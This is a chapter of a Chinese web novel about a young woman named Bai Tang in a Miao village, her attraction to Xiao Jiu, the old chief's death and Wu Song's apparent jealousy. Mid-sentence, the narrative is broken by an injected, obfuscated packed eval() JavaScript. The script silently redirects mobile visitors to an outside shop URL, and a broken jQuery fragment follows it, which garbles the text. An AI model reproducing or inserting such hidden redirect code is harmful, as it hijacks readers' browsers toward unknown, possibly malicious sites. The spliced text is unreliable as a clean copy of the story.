白棠和小九喝了半宿的酒,直到天蒙蒙亮,白棠才有了困意。
“今晚真的很开心。”
小九似乎有些醉了,他站起来的时候踉跄了一下:“你们北方的女孩子,都这么能喝吗?”
“还好吧!”白棠扶了他一把,“我不算能喝。”
“一坛子糯米酒都没了。”小九两颊染上红色,“阿棠,送我回房间好吗?”
“好。”
白棠扶着他,一路上楼梯。小九大概醉得厉害了,整个人几乎贴在了白棠身上。
“小九,慢点……”
白棠推开了他的房间,轻轻把他扶到了床上。她刚要转身离开,不知被什么东西一绊,整个人跌入了他的怀中。
“哎!”
小九就势将她抱在怀里,不着痕迹地在她额头上吻了一下。他们离得如此之近,甚至能感受到彼此呼出的酒气。
时间突然就凝滞了。窗外的风声、虫声通通远去,耳畔只剩下小九轻声呢喃。
阿棠……
我的阿棠……
白棠脑子里一片空白。小九的声音还是那么好听,他的嘴唇红得像樱桃,白皙的皮肤染上薄薄的红色。上下滚动的喉结,彻底把白棠的心滚乱了。
小九本能地收紧了自己的胳膊,将她的脑袋按向了自己胸口,仿佛一条巨蟒缠住了心仪的猎物。
霸道,强势,不容抗拒。
白棠的呼吸停了一瞬。
淡淡的草药香直接钻进了白棠的心里,混合着少年身上特有的味道,让白棠心神摇曳。白棠好不容易回过神来,她羞得脖子都红了。
不对,这不对!
她立刻脱开小九的怀抱,干净利落地起身。小九的怀中空了,他似乎已经睡着了。
“我、我把水放在你边上了!”
白棠慌得要命,急匆匆丢下一句话后便夺门而出。她刚一出门,小九的眼睛就立刻睁开了。
她走了。
黑暗中,小九似乎轻轻叹了一口气。一只带着黑黄色的小虫从地面飞起,落在了小九的指尖。
阿棠,你还真是……
另一边,白棠的心突突跳着。她不明白自己是怎么了:只要和小九扯上关系,她就控制不住自己。
这种感觉从来没有过。白棠早熟,初中时就朦朦胧胧喜欢过一个男生。然而那种所谓的喜欢来得快去得也快:某次那男生在密闭的教室大嚼味道极冲的韭菜盒子,当看见他牙齿上塞满绿绿的韭菜叶时,她对他的喜欢一下子降到了冰点。
从那之后,白棠不敢浪费自己的喜欢,生怕一个不小心再被从前的自己荒唐到。她不是个坦诚的家伙,甚至有些畏手畏脚。
然而面对小九,她不止一次冲动着想要答应。
奇怪,明明只认识几天的工夫,自己这是怎么了?
明知不可能,为何总是按捺不住这蠢蠢欲动的心思呢?
白棠觉得自己有些魔怔,她洗了把脸,像鸵鸟一样把头蒙进了被窝。
白棠睡到次日中午才醒来。
刚一睁眼,她就听见院子里传来胡月和郝燕的说笑声。推开窗子,只见二人穿着一模一样的裙子,正在门口拍闺蜜照呢。
看见白棠在窗口,胡月忙招手让她下来:“快来,咱们拍几张照。”
白棠看着红光满面的胡月有些诧异:明明昨晚病得那样……
她试探性地问道:“你的脖子……好了?”
胡月摸了摸脖子:昨日肿胀的大包此时已经完全消失,取而代之的是一个小小的伤口,仿佛抓破了一样。见白棠询问,胡月笑道:“嗨,被蚊子咬了一口而已,那么大惊小怪干什么?”
白棠目瞪口呆。
郝燕也不记得什么,她正拿着自拍杆瞄准:“月子,回头!”
二人嘻嘻哈哈地来了个自拍。
白棠生怕她们再闯出昨天那样的祸事,她忍不住出言提醒道:“你们要是出去玩的话,尽量别乱碰什么东西哈!”
“哎呀,你真啰嗦!”郝燕不耐烦了,“我们碰什么,与你有什么关系?走了走了!”
白棠适时地闭了嘴。
她回到床上,按亮了手机,信号再次出现了一点点。母亲的语音稀里哗啦发过来一堆,白棠懒得听,直接语音转文字:嗯……和自己想的差不多,除了骂她不孝就是哭诉自己不易,和之前的都差不多。
白棠看了几条就不看了。
她百无聊赖地放下手机,洗了个澡后,走出门去觅食。吊脚楼里静悄悄的,小九似乎不在。
阿傩走了进来,他告诉白棠,小九一大早就出去了,寨子里出了大事,昨晚老族长过世了。
白棠一下子就想到了昨晚的那串火光:怪不得……
看来他们是忙活这件事去了。
白棠立刻收敛了笑容:“太突然了,节哀顺变。”
阿傩脸上并无伤心之色,他对白棠笑道:“老族长活了一百一十岁,我们要唱歌跳舞,不哭的。”
白棠诧异道:“一百一十岁?”
“是啊!你们汉人有个词,叫喜丧,我们也一样,高兴。”阿傩笑道,“三天后,大伙一起送老族长回山神那里,会很热闹。”
“山神?”
“是啊,山神。我们死了之后都会回归到他那里。”阿傩认真地解释道,“等过了一百年,山神会把老族长送回来,到时候他会变成小婴儿,就又回到寨子里啦!”
真是朴素的信仰。
白棠有些触动,她突然觉得,或许对于他们来说,死亡也没什么可怕的。
吃过了饭,白棠走出了门。昨日她看见寨子里有一家古朴的银匠铺子,她打算去看看。
哪知刚一出门,就看见吴松背着什么东西回来了。待他走近后,白棠才发现吴松背得是满满一篓子鸡蛋。
“吴松,你回来啦!哪来这么多鸡蛋?”
“买的。”吴松将鸡蛋放在地上,“昨晚得到消息,老族长没了,这不,弄这些鸡蛋准备做宴席用。”
白棠了然:“我们也是要参加的吗?”
“当然,难得这么热闹。”
“那我需要准备什么?现金还是别的?”
在白棠的印象里,这种事是不好空手的。
“随便包二百三百的现金就行。这里用钱的地方不多,都是到了山下才用。”吴松笑道,“到时候好好玩,挺有意思的。”
白棠顿时松了一口气:还
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17888370|212654||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
行,幸好她随身常备一点应急的现金,要不然现在还真不知道怎么办。
“对了,你的车呢?修好了吗?”
“修好了!进寨子的路不好开,我把它停到外面了。”
“咱们什么时候回去?”
“等老族长的丧事结束,咱们就走。”吴松邀请道,“你要是不急,咱们可以再去市区转转,我爸妈常年做生意,家里就我一个人,有很多空房间……”
白棠刚要婉拒,一个声音悠悠地传了过来:“阿松哥干嘛那么急着走呢?”
二人回头一看,只见小九不知何时回来了,他今天换了一身精致的黑色苗服,银饰也相对简约了许多。他的表情很严肃,看起来似乎有些不高兴。
吴松随意地和他打着招呼:“今天好忙吧?”
“还好。”小九的神色冰冰冷冷的,“无非是寨子里的事。你刚刚说葬礼结束就走吗?”
“是啊,是这么打算的。”
“阿松哥,”小九突兀地开口,“我要正式接任族长了。”
吴松惊得抬起了头:“这么快?”
“老族长没了,大祭司说,我不必等到二十岁,现在就可以接任。”小九坐在了吴松对面,“寨子里商议,老族长的葬礼办完后,就办我的接任仪式。你们不如多留一天,祝贺我一下如何?”
吴松的嘴唇一跳,随即笑开了:“这是喜事,我自然是要留的。我还会给你准备个大红包,好好跟你喝两杯!”
吴松的眼镜片反着寒光,让白棠看不清他的眼神。她不知道是不是自己的错觉,吴松的开心表现得太刻意了,甚至于有几分咬牙切齿的味道。她有种莫名的阴谋论:吴松好像不那么希望小九接任族长。
他在嫉妒!
当这个结论在白棠脑海中成型后,再看两人之间的关系,就全都说得通了。从一开始见面,白棠就觉得他们二人貌合神离:吴松每次对上小九,都有点假模假样,而小九自始至终,都对吴松若即若离。
吴松又不在寨子里住,为什么会不喜欢小九做族长呢?
就在白棠胡思乱想的时候,吴松招呼了她一声:“阿棠,阿棠,你发什么呆呢!”
白棠回过神来:“啊!”
吴松调侃道:“小九的喜事,你又要破费啦!”
白棠由衷地说:“嗨,什么破费不破费!小九的好事,我巴不乐得呢!”
吴松笑着询问:“阿棠准备给小九包多少?”
白棠手头没那么多现金,她打算和吴松借点。听他这么说,只得先为自己遮掩了一句:“这时候说破了,就没意思啦!”
“阿棠还真是,够神秘的……”
吴松一口一个阿棠地叫着,叫得小九的眼神阴阴的。这个称呼,这个称呼……
明明是自己专属的!
再看吴松和白棠说笑,小九突然觉得无比刺眼,他鬼使神差地打了一句岔:“阿棠,我不需要你的红包。”
白棠被他说愣了:“什么?”
“我希望阿棠能送我一件特别的礼物,什么都好。”小九异常郑重,甚至带着点恳求,“千万别是钱财,好不好?”
“没问题!”白棠痛快地答应下来,“包在我身上!”